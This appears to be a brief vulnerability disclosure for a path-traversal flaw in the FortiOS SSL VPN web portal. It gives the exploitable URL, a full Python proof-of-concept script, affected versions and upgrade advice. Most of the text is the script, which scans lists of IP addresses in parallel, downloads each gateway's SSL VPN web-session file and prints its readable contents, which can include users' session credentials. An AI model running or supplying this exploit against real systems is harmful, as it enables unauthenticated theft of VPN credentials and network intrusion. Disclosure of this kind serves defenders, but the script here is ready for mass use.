General Disclosure
This is a path-traversal vulnerability in the FortiOS SSL VPN web portal that could potentially allow an unauthenticated attacker to download files through specially crafted HTTP resource requests. Fortinet advises customers to upgrade to FortiOS 5.4.13, 5.6.11, 6.0.6, 6.2.2.
The next URL is responsible:
https://<IP>:<PORT>/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
POC
There is a proof of concept on GitHub
import requests, binascii, optparse
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
import multiprocessing
def checkIP(ip):
try:
url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
r=requests.get(url, headers=headers, verify=False, stream=True, timeout=2)
img=r.raw.read()
if "var fgt_lang =" in str(img):
with open("sslvpn_websession_"+ip+".dat", 'w') as f:
f.write(img)
parseFile(ip)
print "\n"
return True
else:
return False
except requests.exceptions.ConnectionError:
return False
def read_bytes(filename, chunksize=8192):
try:
with open(filename, "rb") as f:
while True:
chunk = f.read(chunksize)
if chunk:
for b in chunk:
yield b
else:
break
except IOError:
pass
def is_character_printable(s):
return all((ord(c) < 127) and (ord(c) >= 32) for c in s)
def validate_byte_as_printable(byte):
if is_character_printable(byte):
return byte
else:
return '.'
def parseFile(ip):
print "[Checking: "+ip+"]"
url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
print "[*} Web session at: "+url
filename="sslvpn_websession_"+ip+".dat"
memory_address = 0
ascii_string = ""
for byte in read_bytes(filename):
ascii_string = ascii_string + validate_byte_as_printable(byte)
if memory_address%61 == 60:
if ascii_string!=".............................................................":
print ascii_string
ascii_string = ""
memory_address = memory_address + 1
parser = optparse.OptionParser()
parser.add_option('-f', action="store", dest="filename")
parser.add_option('-i', action="store", dest="ip", help="e.g. 127.0.0.1:10443")
parser.add_option('-n', action="store", dest="numOfThreads")
options, remainder = parser.parse_args()
numOfThreads=10
ipList=[]
if options.ip:
ipList.append(options.ip)
if options.filename:
with open(options.filename) as f:
ipList = f.read().splitlines()
if options.numOfThreads:
numOfThreads=int(options.numOfThreads)
ipList = filter(None, ipList)
p = multiprocessing.Pool(processes=numOfThreads)
p.map(checkIP,ipList)
p.close()
Affected Systems
Here is a list of the operating systems we have tested which are vulnerable to this attack:
- FortiOS 6.0 - 6.0.0 to 6.0.4
- FortiOS 5.6 - 5.6.3 to 5.6.7
- FortiOS 5.4 - 5.4.6 to 5.4.12
Possible Mitigations
Please upgrade!